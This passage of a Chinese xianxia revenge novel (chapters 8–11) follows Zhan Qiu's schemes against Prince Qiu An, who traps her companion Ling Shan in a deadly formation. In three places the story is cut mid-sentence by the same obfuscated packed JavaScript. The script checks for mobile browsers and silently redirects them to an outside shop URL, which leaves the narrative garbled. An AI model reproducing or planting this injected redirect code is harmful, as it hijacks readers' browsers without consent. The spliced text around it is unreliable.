话落,斩秋心中一阵恶寒。裘安啊裘安,这场柔情眷恋的戏码你到底要演到什么时候? “并非我不愿讲,只不过是一些负心薄情、忘恩负义的脏事,说出来恐污了二殿下的耳朵。还是算了吧。” 不知为何,裘安觉得她话中有话,脸上的表情有一瞬的僵硬,看向她的眼神也逐渐失了温度。 不多时,飞輦已行至南天门。 斩秋与裘安下了轿輦便直奔万虚殿,彼时天帝正在殿中。见二人仅短短一日便归,有些惊讶,遣了一旁的仙侍,朝二人问道:“如何了?” “回父皇……” “回陛下……” 二人异口同声,相视一眼,斩秋默了声,将此事交给裘安来禀:“回父皇,幽境三千天兵失踪一事的确是百里及春所为,他此举的目的是要我们替他寻出魔界中的仙族之人。儿臣与斩秋已答应他的要求,想必他也会遵守承诺放回幽境三千天兵。” 听他说完,天帝眼中滚过一抹复杂之色,正要说些什么,仙侍突然在殿外报了一声:“陛下,大殿下求见。” “让他进来。” 裘旭应声走来,朝天帝行了一礼后肃然开口:“禀父皇,幽境来报,失踪的三千天兵方才业已尽数归来。” 天帝闻言垂眸颔首,静默了片刻。少顷,才道:“此事朕已知晓。安儿、秋儿,这件事你们做得很好,后面的事情就交给旭儿去做吧。” 说完他抬手轻摆了摆,示意二人退下,继而将目光移至裘旭身上:“旭儿,你留下。” 所谓“后面的事情”是什么,斩秋与裘安都心知肚明。 调查天宫中被魔族安插细作一事天帝自然不会交给他们二人去做。故而听到这个结果,二人并不感到意外。 只是斩秋没有想到,魔界中被他们找到的那名仙族,当真是天帝的手笔。看来两族千百年来的安稳,不过假象而已。 二人领命退出了万虚殿,却都没有回自己的宫里,而是不约而同地朝执月阁的方向而去。 “你也要去执月阁?”路上,斩秋问得轻松,仿佛对此并不感到惊讶。 但闻他道:“虽然父皇说将此事交给阿兄去查,却没说过不准我插手此事。” 咬文嚼字倒是一如既往得厉害。斩秋挑了挑眉,暗自腹诽。 “只是不知你为何也会对此事感兴趣?”裘旭突然问她。 “你是觉得我避世许久,刚回天宫不该插手此事?”斩秋侧首,双眸掠过他的脸颊,“二殿下与我初相识,还不够了解我。我这人好奇心甚重,凡是有所疑虑,必将彻查到底。” 后面这话落入裘安的耳朵里,竟教他觉得似乎别有深意。 谈话间,已快要行至执月阁,却见一女子跪在阁外的廊道上,挡了去路。 女子着一袭绯色衣裙,长发随着她低下的脑袋一同垂下,遮挡了她的面容。 待走近后,斩秋望着她的身形顿然觉出几分熟悉来,不由眯了眯眸,对女子说:“抬起头来。” 女子不敢违抗,颤颤巍巍地将头抬起,印入眼帘的是一张让斩秋印象深刻的脸。 “见过二殿下,见过小神君。” 斩秋的眉峰陡然变得冷峭起来:“你叫什么名字?” 其实她本不必问,却还是想要亲耳听见,方为确认。 女子的音量不大,谈吐却十分清晰,一字一句地敲打在斩秋的耳畔。 “回神君,小仙涂千羽。”见斩秋不语,她忽然又道,“神君或许不记得了,当年在涂隐山,是您救了小仙,将小仙带了回来。” 话音甫落,斩秋的眼底闪过一丝晦暗。 怎么会不记得呢?涂千羽,你的存在可是我为数不多的败笔啊。 回首上一世,她下界游玩途经涂隐山,遇见了被涂氏一族扫地出门的涂千羽,彼时她浑身是伤,晕倒在山林中。她见其可怜,方才将其救下带回天宫。 自此之后,她就没再刻意留意过此人。没过多久,玄焰真神殒世,她亦离开了天宫。等她再次见到涂千羽时,是她与裘安大婚的前一年,那时的涂千羽已然从一介小仙跃为上仙。 那时的她怎么也想不到,不久之后,涂千羽与裘安联手将她逼上万劫不复之路。 想到这里,斩秋眉色一正,并未回应涂千羽的刻意亲近:“你犯了何事,为何跪在此处?” “回神君,小仙适才不慎打翻了妙云仙君的砚台,惹得妙云仙君动怒,故而……”涂千羽垂下眼睑,似乎欲遮掩眼角闪烁的泪光,声音也愈渐愈小。 斩秋看涂千羽这幅我见犹怜的模样,不禁在心中感叹:也难怪自己上一世看不清此人的虚情假意,实在是她演得太过炉火纯青。 妙云乃执月阁阁主,待人温和,唯独在公事上眼里容不进沙子。如今她被罚跪在此处,肯定不止打翻砚台这么简单。阁中多是秘密要文,想是这砚台中的墨洒在了什么不该在的地方。 如此避重就轻,当真是聪明。 “确实是你错了。可跪在这廊道阻人去路,总归是有些不妥。”斩秋说着扭头望向裘安,心中萌生出一个不厚道的想法,欲拉其下水,“你说是吧,二殿下?” 被她这么一点,裘安也轻轻瞥眸朝涂千羽看了一眼,转瞬便收回视线,无所谓地“嗯”了一声。 “起来吧。”斩秋拂袖道。 “谢过神君,谢过二殿……” 孰料嘴边的谢辞还未道全,便听前者又轻描淡写地补了句:“去乘安殿跪吧,那里宽敞又清净,通常不会有人经过打搅,最合适不过。” 话落,裘安面上闪过一瞬讶异,斜眸看她,嘴角勾起一缕不明的弧度。 而涂千羽闻言身形微僵,藏在袖中的手缓缓攥成拳。她淡然道了声“是”,随后起身消失在了他们面前。 待她走后,裘安颇有兴致地问起:“你与那小仙可有何过节?” 斩秋听罢故作不解:“二殿下何出此言?方才二殿下自己不也应许了吗?难道二殿下也与那小仙有过节?” 连着抛出三问后,她并未等他回答,甩甩衣袖顾自先行朝执月阁而去。 斩秋走后,一直跟在远处的邬霖走近过来,方一行至裘安身后,便闻他道:“去查一查方才那女仙的来历。” “是。” 执月阁分外阁与内阁,内阁只有天帝和持有阁主令牌之人方能进入。斩秋来此并不为入内阁,只是匆匆与妙云抄要了一份阁中名册。 若是旁人与妙云询要,妙云断不会答应,不过是看在自己与她的交情上,这才通融一二。 故而今日裘安前去必会吃一个闭门羹。斩秋对此心知肚明,于是在回去的路上特意等候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633931|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了片刻。 裘安从执月阁出来,远远便看见斩秋在前站着,他有些不解地朝她走去,还未开口就见她伸手递来一本薄册。 “这是什么?”裘安面色疑惑。 “执月阁的名册。”斩秋如实答道,前者却迟迟不接,她又问,“二殿下莫不是在想,我为会何帮你?” 斩秋将手往前伸了些许,大义凌然道:“在天宫的利益面前,自是不分你我。” 她这真挚模样的背后,是一番精心算计。 那本名册内有许多都是裘旭母族中人,亦有不少裘旭的亲信。若有心人想要拿此作文章,给其中几人安上个谋叛的罪名,便可将裘安拉下马。 裘安若有不臣之心,定会利用于此。届时她自有方法保下裘旭,只是借此试探一番,看看裘安是否是眼下便已对裘旭存了逆心。毕竟上一世裘旭战死,与他脱不开关系。 只见裘安若有所思地看了她一眼,随后微微颔首示意邬霖将名册收下,有礼地对她笑道:“多谢。” 该做的事已做完,斩秋不再与其久待,回到了秋茗宫。 她撑着脑袋坐在亭下瞧着一旁水塘中的游鱼,指尖轻揉着额角:“灵衫,这几日你帮我查一下回元究竟是何物。” 从前她好像从未听说过回元,不过这既是百里及春要的,定然不会是一件能轻易寻来之物。想到这里,她又补了一句,“别让旁人察觉。” “是。” 这一夜,陨神坛上身死的一幕再一次入了斩秋的梦。身上的那些疼痛真实无比,每梦见一次,如同又亲临一遍。 哪怕不是头一回经历,她仍然无法平静地从梦中抽身。惊醒之际,额间挂着豆大的汗珠,心口直跳。 她下意识地捂住胸口,喘着气试图平息情绪,朝旁轻唤了声:“灵衫。” 清冷的声音在殿中回荡,却没得到回应。 她不禁翻身坐了起来,朝窗外望了望。天色微微亮,约莫是卯时。 虽然时辰还早,但她早已无了睡意,索性起身一边修炼,一边等着灵衫回来。 日光伴随着时间的流逝悄然溜过窗棱,爬进了殿内,斩秋却浑然不觉。直到一阵杂沓的脚步声袭来,紧接着叩响了殿门。 灵衫向来来去无声,因此斩秋知道来者并不是她,便意兴阑珊地起身前去应门。 打开门后,入目的是一张十分陌生的脸,来者垂首恭敬地唤了声:“见过斩秋上神。” 她懒洋洋地“嗯”了一声,问他:“你是?” “回上神,小仙乃御宣宫的仙侍。大殿下请您到涟园一聚。” 裘旭?她和裘旭有何可聚的,左右他想说的无非是与裘安相关之事。 斩秋扯了扯嘴角,本想随便找个借口把他打发了。但仔细想想,凭裘旭那固执的性格,若是一次请不到她,便会请第二次、第三次。她若一日不应,他怕是要日日差人来请,叫她不得安宁。 最终她还是点了头:“好。” 方一踏入涟园,便见一道月白色的身影立在池边的小桥上,身形笔挺,宛若松柏。斩秋见了朝方才那名小仙微微颔首,示意他可先行退下,随后不急不慢地朝桥上走去:“你叫我前来所为何事?” 裘旭循声转过来,没作任何客套,单刀直入道:“我有事想请你帮忙。” “真稀奇。莫不是又来劝我与你那好弟弟退婚了。” 裘旭今日找她并不是为了此事,不过听着她揶揄的口吻,脸色还是不觉沉了下来,静默了半晌,才道:“你对安儿似乎有些敌意。” “是吗?”斩秋耸耸肩,满不在意地回应着。 面对她这幅无所谓的态度,裘旭叹了口气,语重心长道:“你刚回来,与安儿相处不久,还不了解他。待你了解后便会知晓,安儿……” 知道他后面要说些什么,斩秋有些不耐地打断他:“这世上没有人比我更了解裘安了。” 她话时模样并不认真,但不知怎的,裘旭却觉得她此番不是在玩笑。登时眉中一折,些许怪异与怀疑涌上,他正准备说些什么,却闻一道低沉的声音从不远处骤然响起。 “是吗?” 二人双双侧首望去,只见裘安负手站在桥下,眉眼一弯,饶有趣味地问。 “斩秋上神何时成了这世上最了解我的人了?” 9. 第9章 触及到裘安视线的那一刹,斩秋心头一颤,面上却不显慌张。不一会儿,只见她的嘴角慢慢浮开一抹笑意,模糊了话题:“凭你我二人的关系,我理应做那个最了解你的人才是。” 此话分明暧昧,可从她的嘴里说出来却毫无情意。 裘安也勾了勾嘴角,很意外地没有继续追问。他缓缓走到桥上,朝裘旭轻轻颔首,唤了声:“阿兄。” 后者亦点点头,微笑着问他:“安儿,你怎么过来了?” “我正要去文经阁,途径此处。”裘安回道,说着转眸看向斩秋,口吻意味深长,“看来你那日说得不错,你与阿兄当真是旧相识啊。” 他的声音淡而温和,像雨后升起的那抹阳光,可落入斩秋的耳朵里却多了一分冷漠和揶揄。她不禁抬眸睨了他一眼,未置一词。 裘旭听出了他的弦外之音,连忙撇清关系:“我今日找斩秋是有要事求她相助,并无其他。” 听裘旭这么说,倒叫斩秋有些惊讶,他竟是真的有事求自己。她原以为今日前来不过又是来听他说一些有的没的,不由心生好奇:“何事?” “我想请你帮我设一个阵。” “设阵?”斩秋眯了眯眸,活了这么多年,裘旭相求于她的次数屈指可数。能让他开口的定是极为重要之事,而眼下天宫内……怕是只有搜查魔族眼线一事了。 只是这件事,她并不想插手,亦不能插手。不由得脸色一变,直言道:“若是与魔族一事相关,恕我爱莫能助。昨日陛下说得很清楚,此事无需我参与其中。” “若我不说,父神怎会知晓?”裘旭忙道。 话音落下,斩秋却没有搭话,只是平静地看着他,神情略显无奈。 被她这么看着,裘旭忽然醒神。斩秋所会的术法古阵都源自上古时期,乃玄焰真神亲授,且只授她一人,如此特殊醒目,父神怎会认不出来?也正是因此,他才会来寻斩秋相助。这世间论起阵法,恐怕无人及她。 是他一时心急,说话未经思量了。 “对不住,是我欠考虑了。”裘旭垂下眼睑,遮盖住眼底神情,却难掩面上失望之色。 斩秋见状虽替他感到可惜,却并未因此心软。 替天宫清理门户一事本就不在她的规划当中。再者,她还要利用此事试探裘安,又怎能贸然插手,扰乱她的计划。 孰料此时,头顶突然响起裘安的声音。 “昨日你说过,在天宫的利益面前,不分你我。怎么今日突然畏起父神来了?” 斩秋应声抬首,只见他皱起那双好看的眉,面露不解。半响,似乎想到了什么,肩膀一耷,作出一副失望模样,他道:“难道你所说、所做的一切,都非出自真心吗?” 他的神情看似低落,可斩秋还是从中捕捉到了一闪而过的讥诮。不觉愣了愣,心中一阵恶寒,缓缓攥紧拳头。 “昨日……?”裘旭听得一头雾水,开口问道。 “我本也没想瞒着阿兄。昨日从魔界回来,父神虽说之后的事情无需我们再查,可我心中不安,便去了趟执月阁,想看看阁中是否有什么可疑之人。”说到此处,裘安话语一顿,侧首望向斩秋,“她与我是一同前去的。” 言下之意,她早已牵扯其中。 裘旭会意,忙道:“既然如此,你为何……”话至一半,他仿佛明白了什么,看向斩秋的眼里升起了希冀,“若是碍于父神的旨意,你放心,父神那边我会亲自去一趟。是否只要我求得父神首肯,你便会答应助我?” 眼下的处境,斩秋实难找到合理的理由拒绝。她垂眸思忖片刻,想着天帝那边多半不会应允,方才敷衍地“嗯”了一声。 得她松口,裘旭面露几许轻松之色。却在须臾间又恢复以往的肃穆模样,抬手朝她行了一礼:“我先在此提前谢过。那我此刻便去万虚殿一趟。”说完便匆匆朝涟园外走去。 斩秋站在原地,瞥了一眼身旁同样驻足的裘安:“二殿下不是要去文经阁么?” “其实也不是什么要紧事,晚些去也无妨。”裘安弯眼笑了笑,“既然遇到了,不如一起走走?” “不必了吧。”斩秋毫不犹豫地回绝,径直走下石桥。直到裘安的声音又从身后幽幽飘来,她才脚下一滞。 “莫非,你是气我方才多言了?” 斩秋按下心中烦郁,回首皮笑肉不笑地回答:“怎么会?” “那便一道走走吧。”裘安负手走下来,与她并肩而行。 途中,他忽然问了句:“你与百里及春是从何时相识的?” 这话问得没头没尾,斩秋不以为意,想了想,如实道:“他成为魔尊的那一日。” 还记得那日她正在昊夜塔与父神对弈,忽见诡境妄渊散发奇光,高耸而上,直逼天境。 当时的她不明白天降异像是为何意,指着那道光便问父神那是什么。 父神放下手中的棋子,抬眸望去,语重心长道:“不过是这世间又添了一位受苦之人。” 待她回到秋茗宫后才从旁得知,原来异象是因新的魔王降世而起。回想起父神下棋说的那句话,她颇感不解,索性偷溜至诡境,意图会一会那新任的魔尊,瞧瞧他是否如父神所言那般,是一介苦难之士。 那魔尊倒也爽快,听闻有人寻他,便只身出来相见。 那是她第一次见到百里及春,他就一派大方地站在那里,不怒自威,一双微微上扬的眼角噙着轻视的笑意,哪有半点儿苦相,分明是个厌世的主。 “你可知百里及春成魔前,乃是一介凡人。”裘安继续说道。 他的声音拉回了斩秋飘远的思绪,她点了点头,玩笑道:“百里是大渊国姓,说不定他曾经还是位小皇子呢。” 裘安闻言也轻笑一声:“听闻你曾经也经常下至凡界游玩。若是有缘,兴许你们还曾擦肩而过呢。” 听到这里,斩秋顿然觉得他话中有话,停下了脚步。 看来三千天兵一事果然引起了裘安的怀疑,只可惜他怀疑错了方向,百里及春与她从前无甚交集,就算要查也查不到什么。 毕竟就连她自己也未曾料到,有朝一日她会和百里及春有这样的牵扯。 想到这里,斩秋缓缓抬眼,神态从容:“二殿下到底想说什么,不妨直言。” 裘旭听罢亦驻足转过身来。许是因为他身形高挑,此时垂眸看她,颇有几分居高临下的姿态:“我不过也想多了解你一些。以你我二人的关系,理应如此,不是吗?” 他刻意咬重“你我二人的关系”几字,仿佛在回应着她先前以此为借口的说辞。 斩秋听着这耳熟的话语,眨了眨眼:“是吗?” 忽而想到什么,她走上前,伸手攀上他的衣领,指尖来回摩挲着领上银色的绣纹,口吻暧昧:“我比较喜欢这样了解。” 说着手轻轻朝上探去,似欲抚摸他的脸颊。 触及他肌肤的刹那,她的手腕被他一把攫住。他的力道不大,却拧得她生疼,不禁折了下眉。 此刻裘安的眼中没了笑,尽显寒意。 见他不再装着一副温柔模样,斩秋翘起嘴角:“二殿下这是做什么?” “你我尚未成婚,此举有失礼数。”裘安甩开了她的手,冷言道,“你回去吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633932|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话罢他不再做多停留,利落地转身离去。 斩秋故意冲着他的背影扯着嗓子喊道:“哎,这还没出涟园呢!不再走走了?” 待裘安的背影完全消失在斩秋的视野之后,她才缓缓收起脸上的戏谑,阴沉着脸从袖中取出一枚方帕,用力地擦拭着方才触碰过裘安的手,仿佛自己碰到的是什么极为肮脏之物。 …… 斩秋回到秋茗宫时,已是辰时。心中估摸着这个时辰灵衫也该回来了,便停在廊下等她。果然没过多久,就看见一道身影快步走来,她的眸色也瞬间变得柔软起来,抢先开口:“你莫不是天还未醒便出去了?” 灵衫颔首,表情依旧没什么起伏:“如此不易被人察觉。” 听到这样的回答,斩秋心头一酸。她吩咐过的话,灵衫总是记得很清楚,可她似乎很少想过,灵衫对她嘱咐之事付诸行动时,并不如她随口说出来这么轻松。 夜里的天宫虽少了些看守,可护卫的形阵却更为灵敏。若是身陷其中,怕是更不易脱身。 “以后行动前还是知会我一声,突然见不到你,我会不安心。”她看着灵衫,表情严肃,“不许再在夜里出去了。” 话落,灵衫没有回答,只是从袖间掏出一本薄簿,递到她的面前:“我翻遍了珍宝阁,并未在古籍上查到任何有关回元的记载。不过,我发现了这个。” “这是什么?”斩秋接过灵衫手中的簿子,随便翻了几页低眸看去,不过是一本很寻常的兵器簿。 但见灵衫伸手往后翻着书页,似乎在寻找什么,突然在某一页停下,指着中间那道被撕的裂口,道:“殿下你看,这里,少了几页。” 斩秋顺着灵衫手指的地方看去,果然有明显被撕毁的痕迹,长眉微蹙。 “难道百里及春要找的,是一件兵器?” 入夜。 九天之上万籁俱寂,除了长廊上的灵灯被风拂过时发出细细簌簌的声响,再无其他,仿佛整座天宫都沉浸于睡梦当中。 唯独朝云宫内,灯火通明。 裘安坐在案前,手中执笔蘸了墨汁,正在纸上写着什么。毛笔划过纸页,发出几道沙沙的声音。 “殿下。”门外突然传来一道男声。他的音量不大,好似怕惊扰了殿内的人。 裘安听到动静,却是眼也没抬一下,专注着手中的动作,不急不慢地道出两字:“进来。” “殿下,属下依您的吩咐联络了潜伏于缥缈境中的暗线。据他所言,斩秋上神在缥缈境的一千年间,常有时日闭门不出,除了她身边的灵衫,没人见过她。属下怀疑,斩秋上神或许……或许根本就不在缥缈境中。”邬霖垂首立于殿前,将查探到的消息一一回禀。 裘安闻言,意兴阑珊地“嗯”了一声,没说什么。 后者又道:“是否需要属下再去查探一番?斩秋上神若当真出了缥缈境,那在这三界当中,必会留下些痕迹。” 对于邬霖的话,裘安不置可否,依旧慢条斯理地挥着手中的笔。待写下最后一个字,方才掀起眼皮:“她身边那女子是何来历?” “灵衫乃斩秋上神千年前前往缥缈境途中所救之人,自此便一直带在身边,似乎不是仙族中人。”邬霖如实禀道。忽而想起了什么,他又补上一句,“据说二人感情极深,千年以来几乎形影不离。斩秋上神闭关消失的日子里,灵衫也不见踪迹。” 听到这儿,裘安一双漆黑的眸里终于翻起些涟漪:“感情极深?” “是的。”邬霖点头。 话落,但见裘安勾起唇角,倾泄一抹顽劣之意,低声笑道。 “那真是太好了。” 10. 第10章 裘旭再次找到斩秋是三日后,这一次他没有差宫中仙侍传话,而是亲自前来。 斩秋见到他时有些意外,毕竟那日他从涟园离开后便径直去了万虚殿,若得天帝首肯他应该当日便通知她了。 三日过去,她早当此事已经了结,却不想他再度提起。 “我听安儿说,上古时期有一种阵法可展反噬之用。修为越高者,越是难以逃脱,可是真的?” “安儿”二字划过耳际,惹得斩秋眉尖微蹙。 凡事只要与裘安扯上关系,总是叫她没由来地心慌不安。不过他说的确是事实,于是她没有否认。 裘旭口中的这个阵法名为逆生阵,是她年幼修习时练得最刻苦的一个。 只是当年她并不知此阵威力,本想小小捉弄欺负她的人一番,却不想这阵法便险些要了那人性命,好在父神及时赶来,才没酿出大祸。自那之后,她再没使用过此阵法。 “那你可会设此阵?”裘旭问道。 斩秋有些迟疑:“就算我会,你欲如何?莫非陛下答应让我参与此事?” “父皇算是允了,但……也不尽然。” “什么意思?” “此事事关重大,当中细节自是知道的人越少越好。并非父皇不信任你,只是你离开的这一千年里,天宫发生了许多事情,不是一朝一夕便能与你说清的。”裘旭目光沉稳,在她一片狐疑的表情中解释道,“所以你只需要按照我说的在计划处设阵即可,其余的都无需在意。” 话音甫落,斩秋愕然失笑。她头一回发现,将人蒙在鼓里卖力还能被说得如此好听。 “你因何笑?”裘旭一愣,不解地问她。 她应声缓缓敛起笑意,少顷,在他疑惑的眼神中,认真地问道:“我若是不答应,陛下可会降罪于我?” 裘旭不知她何来这么一问,却没有多想,坚定地摇首:“自然不会。” “那好,这个忙我不帮。” 后者显然未料到这个回答,不由得眉心一跳:“为何?” “施术极损耗修为,我每使用一次,修为便削弱一分。而这一千年来,我为了给玄焰真神守灵,耗费了不少神力。我是个怜惜自己的人,不愿为了别人的责任损害自己的利益。这一点,想必你会理解的罢?” 为自己考虑实属常情常理,他或许可以说她自私,却不能因此责怪于她。 裘旭果然没再说话,垂下眼睑轻叹一声。 见状,斩秋眼底划过一缕狡黠,她低头理了理衣袖,漫不经心地说道:“不过,我听说元离神尊那有一枚灵元丹,食后或可增千年修为。” 话尽于此,裘旭虽不通世故,却也不是个痴傻的,立时听出了她的弦外之音。 “若我替你寻来灵元丹,你……” 未等他将话讲完,斩秋忙颔首笑答:“一言为定。” 灵元丹的作用可不单单是增益修为,最重要的是它还有重铸根基之效。 原本为了试探裘安她不欲插手此事,不过她委实没想到天帝竟会应允让她参与其中,哪怕是以这样的方式。 虽说她就算拒绝,天帝明面上也不会责怪于她,可难保心中不会留下芥蒂。事已至此,似乎答应才是更好的选择。 只是她也不喜被人白白利用。既然要她出力,总得拿点什么作为交易罢。 提起交易,倒又教她想起百里及春。 这几日灵衫依旧在天宫查探,但是得到的消息皆为无法替她将完整的答案拼凑出来。她连回元是什么都查不到,又如何能寻来? 想到这里,她突然有些后悔那日在魔界没有好好地与百里及春问清楚。 斩秋神思游走,直到裘旭的声音再度闯入她耳朵里。 “你现在便随我走一趟。” 她醒神顿了片刻,方才问他:“去哪?” “设阵。”后者言简意骇地答道。 “为何如此着急?灵元丹你都还没给我呢。” 裘旭没有回答,只是正了正色,缓声道:“我说会替你寻来,便一定会。你大可信我。” 他此话倒是不假。在斩秋认识的所有人当中,除父神以外,最言出必行之人就是裘旭了。故而斩秋没再追问,起身随他朝外步去。 此行并未如她所想那般前往执月阁,而是直奔幽境。 “为何要在设在此处?” “我说过,你只需要设阵,其余的无需在意。”裘旭口吻轻缓,似乎不想将话说得无礼,可是落入斩秋耳中却没什么分别。 斩秋会意,替他纠正了措辞:“你是想说我无权过问吧。” 裘旭抿唇不答,只管继续往前走着,恍若未闻。 幽境本是练兵之地,可如今四下无人,全然沉浸在一片寂静之中。 行至幽境深处,斩秋突然心生古怪,驻足停顿。 “调查天宫叛者一事,裘安也参与其中吗?” “为何这么问?”裘旭回头,淡然问她。 她也不知心中这股隐隐的不安来自何处。 见她不语,裘旭也未延伸这个话题。他往前两步,盯着不远处的平地,道:“将阵设在此处即可。” - 彼时长乐宫内,裘霜与宫中仙侍玩着牌九,前一手牌刚输掉,气氛正值紧张之际,身后忽然传来一声通报。 “公主,二殿下来了。” “二哥?”裘霜闻声眨了眨眼,转过身去果然看见裘安站在殿前。她丢下手中的骨牌,连忙站起身上前相迎,乐呵呵地问道,“二哥你怎么来了?” 说着抬手轻轻一摆,摒退一旁仙侍。 裘安脸上挂着和煦的笑容,温言道:“二哥有件事情想请霜儿帮忙。” “帮忙?我?”裘霜瞪大了眼睛,惊讶与好奇不分先后地涌上心头,下意识地又往前走了两步,拉近了距离,“二哥快与我说说,何事?” “其实是我……”裘安说着忽然垂下了头,抿唇默了片刻。一双长眉微微蹙起,竟生了几分扭捏。 又过了稍顷,他才低声说道:“我想让霜儿以你的名义将斩秋请到涟园。” 见他这副不好意思的模样,裘霜顿悟,随即露出一抹嬉笑:“二哥这是想见斩秋上神?” 后者闻言微笑,轻点了点头。 得到肯定的答案,裘霜更加激动。 她原以为父皇突然替二哥作主定了亲,二哥心中该是不开心的。却未曾想他竟满意这门亲事,心中不免替其感到高兴。 可高兴之余又有些不解,她眯起眼睛:“可是二哥你与斩秋上神都已经定亲了,若是想要见她何须如此迂回,还要我……” 话至一半,忽然撞进裘安那一双清澈透亮的眸子里,竟从他眼中看出几分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633933|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恳求。 裘霜不由心下一软,将后话尽数咽了回去,眼里只余“义气”二字。她抬手拍了拍裘安的肩膀,神态颇为豪爽:“二哥你放心,今日我定会帮你请到……” 说到此处她话语一顿,笑嘻嘻地改了口,“嫂嫂。” 话音甫落,裘安唇角轻扬,垂眸掩去眼底一闪而过的冷意。 日暮,秋茗宫。 斩秋回来已有三个时辰,只是她回来时殿中就没有灵衫的身影。眼下望着空荡荡的宫殿,心下由等待而生的不安感愈发强烈。 此时门外蓦然传来窸窣声响,惹得斩秋快步上前。敞门一看,入目的却是一张陌生的脸。 “见过斩秋上神。”面前的女子垂首行礼,恭敬道。 来者并非灵衫,斩秋不掩面上失望,兴味索然地“嗯”了一声。 “公主请您到涟园一叙。” 斩秋闻言愣了愣,随后提起精神,抬眼将面前的女子仔细打量了一番。少顷,方才从这张脸上看出几分熟悉,此人似乎的确是裘霜身边的仙侍。 只是她与裘霜从前并没什么来往,今日为何突然邀她相叙? “这个时辰?”斩秋略显犹豫,“公主可有言明何事?” 面前的仙侍视线向下,闻声摇了摇头。 斩秋见状朝她身后望了望,只见宫外的廊道上依旧没有灵衫归来的身影,不禁扯出一抹浅笑:“我在等人。不如你先回去,就与公主说今日不便,明日我亲自去长乐宫见她。” “那小仙陪您一起等吧。”后者立在原地,说道,“公主吩咐过,今日务必将您请至涟园。” 话落,斩秋微微凝眉,心中疑虑,对于前者的提议不置可否。 二人就这么站在门前,谁也不言,亦不曾离开。 天色渐渐暗下来,前来传话的仙侍却连脚都未挪半分。 斩秋瞧其这副架势是铁了心要将她请过去,不禁心想裘霜或许真有什么要紧之事与她说,终究是松了口:“罢了,我随你走一趟便是。” 待她到涟园时,只见亭下一道背影。那人坐在石凳上,身形端正,月光洒在他的脚边,照映着袍底的绣纹。 纵使只是朦胧一瞥,斩秋也仍认出了此人,霎那间便转身想要离开。 哪怕隔了数十步的距离,亭下之人亦听见了动静,缓缓起身朝她走去,漫不经心的声音在她身后响起。 “我等了这样许久,你就不打算听一听我要说什么吗?” 裘安的声音不大,却叫斩秋听得真切。 她脚下一滞,回身朝其望去,牵起嘴角笑得十分敷衍:“二殿下想说什么?” “听闻今日你替阿兄去布阵了。” 见他明知故问,斩秋不作回答,眼底溢出几许不耐。 裘安却并不恼,只是饶有趣味地盯着她的表情,继续走近。一边走着,一边又道:“我来是想告诉你,你的阵法起作用了。” “是吗,恭喜。”斩秋随意应了一声,对此并不关心。 她实在不知裘安今日将她骗来此处究竟为何,直到他越走越近,脚下的黑影逐渐将她笼罩时,心底的不安与头顶响起的声音一同炸开。 “你就不好奇,抓到的那个人是谁么?” 斩秋猛然抬首,看见他眼中轻蔑的笑意,他问。 “这么晚了,灵衫回去了吗?” 11. 第11章 斩秋闻言浑身一震,惶恐与不安迅速涌上心头。她看向裘安的眼里充满了震惊,随即又转变为凛然杀意,仿佛要将他生吞活剥了一般。 裘安却很满意她面上突然变换的表情,语气闲适:“你应该感谢我在阿兄发现前给你通风报信才是。只是你为何来得这样晚?若是你早些来,说不定她还能少吃些苦头。” 斩秋面色一白,下意识攥紧袖中的手。修长的指甲嵌入掌心,传来刺痛之感,然而她却恍若未觉,倏地转身直奔幽境而去。 此时她的脑海只有一个声音,就是去见灵衫,一刻都等不得。 到达幽境之际,果然在一片血泊中看见了那道熟悉的身影。她倒在地上仿佛没有气息,月白色的衣袍被血沁湿,鲜红朝周围蔓延。 血越流越多,却漫不出法阵所置的方寸之地,逐渐向上逆去。原本无形的法阵因此被染出了颜色,犹如一团燃烧的火焰。 见此,斩秋的眼眶瞬间被一拥而上的水雾覆盖,心也随之往下猛地一坠,五内如焚。她奋力跑到阵前,抬手施术欲解此阵。 法阵被破的刹那,本在空中蔓延的鲜血朝四周射去,斩秋只觉脸上一热,鼻间尽是甜丝丝的腥味。她跪地将灵衫抱在怀中,双手不可自抑地颤抖着,抚开灵衫脸上沾着血水的发丝,看清她了无生气的容颜。 前世的记忆霎那间如潮水般汹涌而至。 从前因为灵衫沉默寡言,总以冰冷的面容面对世人,所以斩秋一度以为她没有感情。而她之所以将她天天带在身边,无非是看中了她的灵力,能在必要之际保护自己。不过也仅仅限于保护了,她从没指望过灵衫为她拼命,也不希望如此。 后来瞭州一战,她遭遇敌军暗算,已无力再战。就在她以为自己会命丧于此时,灵衫骤然挡在她的面前施了魂祭术,以自己的生命为代价化出一道屏障护住了她,为她争取了一个时辰的机会等待援兵。 